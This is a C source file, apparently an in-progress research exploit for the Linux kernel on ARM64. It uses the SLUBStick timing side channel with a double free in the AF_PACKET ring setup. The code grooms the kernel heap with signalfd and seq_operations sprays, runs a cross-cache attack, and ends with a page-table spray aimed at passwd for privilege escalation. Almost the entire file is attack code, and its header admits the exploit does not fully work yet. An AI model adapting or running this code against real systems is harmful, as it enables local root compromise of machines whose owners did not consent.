/** * Attempt at SLUBStick with double free (does not fully work yet) * * Repeats object classification multiple times until a clear slab allocation pattern is found. * * Either it crashes, or the slab is not reclaimed by the buddy allocator. * * (5.c attempt in the paper) * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "../include/exploit.h" #include "../include/util.h" #include "../include/signalfd_spray.h" #include "../include/pte_spray.h" #define ALLOCS 4096 static int cpu_partial_slabs = 8; static int objs_per_slab = 32; static int min_partial = 5; static int threshold = -1100; static int slab_per_chunk = 8; static int slab_as_reclaimed_page_table = 1; static int objects_fd[ALLOCS]; const char *keyring = "keyring"; void alloc_obj(int i, sigset_t mask) { objects_fd[i] = signalfd(-1, &mask, 0); } void free_object(int i, int victim_fd) { int fd = objects_fd[i]; if (fd != victim_fd && fd != -1) close(fd); } static inline uint64_t read_cntvct(void) { uint64_t val; asm volatile("mrs %0, cntvct_el0" : "=r"(val)); return val; } static inline uint64_t read_cntfrq(void) { uint64_t val; asm volatile("mrs %0, cntfrq_el0" : "=r"(val)); return val; } int run_exploit() { /*Definiciones para SLUBSTIC*/ int allocs = ALLOCS; uint64_t t0, t1, delta; uint64_t prev_time, time, derived_time; uint64_t freq = read_cntfrq(); // ticks por segundos int start_indexes[slab_per_chunk]; *(volatile char *)keyring; size_t running; int start; // // int num_spray = objs_per_slab * (cpu_partial_slabs + 1); int fd_s, ret, victim_fd; uint32_t block_s = PAGE, frame_s = PAGE / 2; int *fds_post_alloc_seq; printf("\n\n[+] Starting explotation\n"); // Allocating large memory region for future PTE spray // void *base = mmap_align(PGT_SRAY_SIZE); if ((fd_s = socket(AF_PACKET, SOCK_RAW, 0)) < 0) perror("Error while creating socket\n"); // PACKET_V3 if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V3}, sizeof(int))) < 0) perror("Error while setsockopt, setting up packet version (V3)"); repeat_for: running = 0; start = -1; prev_time = 0, time = 0, derived_time = 0; /* Allocate pg_vec - kmalloc-128 */ union tpacket_req_u treq = {}; treq.req3.tp_block_size = block_s; // 4096 treq.req3.tp_block_nr = TARGET_SIZE / 8; // tp_block_nr * 8 sera el tamano del kmalloc a atacar treq.req3.tp_frame_size = block_s; // 2048 treq.req3.tp_frame_nr = TARGET_SIZE / 8; treq.req3.tp_retire_blk_tov = 0xffffffff; // You only get to do what ever you want for around 1h 10mins, then the kernel panics // this line is from terawhiz exploit ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /* INTENTO DE SLUBSTICK (codigo adaptado de slubstick)*/ pin_cpu(0); /* create key value which causes the kernel to return with an error (fast) */ char *value; value = malloc(128); memset(value, 0x41, 128); value[0] = '.'; value[128 - 1] = 0; sigset_t mask; sigemptyset(&mask); sigaddset(&mask, SIGUSR1); int barrier = 0, barrier1 = 0; int i = 0; for (i = 0; i < allocs; i++) { /* Allocation primitive */ sched_yield(); sched_yield(); alloc_obj(i, mask); /* Measurement primitive */ t0 = read_cntvct(); ret = add_key(keyring, value, 0, 0, KEY_SPEC_THREAD_KEYRING); t1 = read_cntvct(); if (ret >= 0) perror("add_key should be an error"); prev_time = time; delta = t1 - t0; time = (delta * 1000000000ULL) / freq; // printf("[%d]\tTime taken: %ld\n", i + 1, time); /* Grouping allocated objects*/ if (i > allocs / 16) { derived_time = time - prev_time; // printf("i=%d, time=%6lu ns, derived=%6ld ns, start=%d\n", i, time, derived_time, start); // printf("[%d]\tTime taken: %ld - Derived time: (%ld)\n", i + 1, time, derived_time); if (start == -1) { if (derived_time < threshold) { start = i; continue; } } else if (i - start == objs_per_slab) // first object of the next slab { if (derived_time < threshold) { start_indexes[running] = start; if (running == 0) { sched_yield(); alloc_obj(i+1, mask); // 2do sched_yield(); alloc_obj(i+2, mask); //3ro i = i+2; printf("1st alloc\n"); // ALLOC PG_VEC if ((setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() execution perror("Error while setsockopt, packet RX RING (V3), first pg alloc"); // 1st free: tp_block_nr to 0 memset(&treq, 0, sizeof(union tpacket_req_u)); if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() perror("Error while putting rx_owner_map to 0, freeing first pg alloc"); // mini spray to catch the released signal_ctx (3 objetos + 29) printf("1st free: i=%d\n", i); for (int j = i; j < i + 29; j++) alloc_obj(j, mask); i += (29); } running++; if (running == slab_per_chunk) break; start = i; } else { start = i; running = 0; } } } } /* si falló intentamos liberar y salir*/ if (running != slab_per_chunk) { printf("\nstart not found\n"); for (int j = 0; j < allocs; j++) free_object(j, -1); sleep(1); goto repeat_for; } for (size_t i = 0; i < slab_per_chunk; ++i) printf("start %ld\n", start_indexes[i]); // SECOND FREE fuera del bucle printf("change packet v2 for second free\n"); // free vuln // Switch to TPACKET_V2 if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V2}, sizeof(int))) < 0) perror("Error while setsockopt, setting packet version(V2) (for the second alloc) "); /// 2nd free: kmalloc-128 // memset(&treq, 0, sizeof(treq)); treq.req3.tp_block_size = block_s; treq.req3.tp_block_nr = 1; treq.req3.tp_frame_size = block_s; treq.req3.tp_frame_nr = 1; if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() perror("setsockopt rx ring v2, second FREE"); // Trying to catch the freed signal_ctx (overlap with seq_operations) printf("\nSpraying seq_operations objects...\n"); fds_post_alloc_seq = spray_seq_operations(objs_per_slab * 3000); // Encontrar fd de signal_ctx overlapeado victim_fd = leak_signal_fd_not_equal_sigmask(objects_fd, allocs, SIGMASK_1st_SPRAY); if (victim_fd >= 0) { printf("¡¡Encontrado signal_ctx en fd = %d!!\n", victim_fd); read_fdinfo(victim_fd); } else { printf("No se encontró ningún sigmask!=0000000000002000\n"); exit(1); } fcntl(victim_fd, F_SETFD, FD_CLOEXEC); free_signalfd(fds_post_alloc_seq, objs_per_slab * 3000); // free seq // CROSS CACHE ATTACK: Free objects for (size_t i = 0; i < slab_per_chunk; ++i) { for (ssize_t j = 0; j < (ssize_t)objs_per_slab; ++j) { free_object(start_indexes[i] + j, victim_fd); } } pte_spray_passwd(victim_fd); // Spray PTE /* touch_user_ptes(base, PGT_SRAY_SIZE); read_fdinfo(victim_fd); read_fdinfo(victim_fd); */ sleep(2); // deberia de pasar el thread a background y dormirlo para siempre printf("fiiiin"); free_user_ptes2(); // Libera la región mapeada de tablas de PTE. // free_user_ptes(base, PGT_SRAY_SIZE); }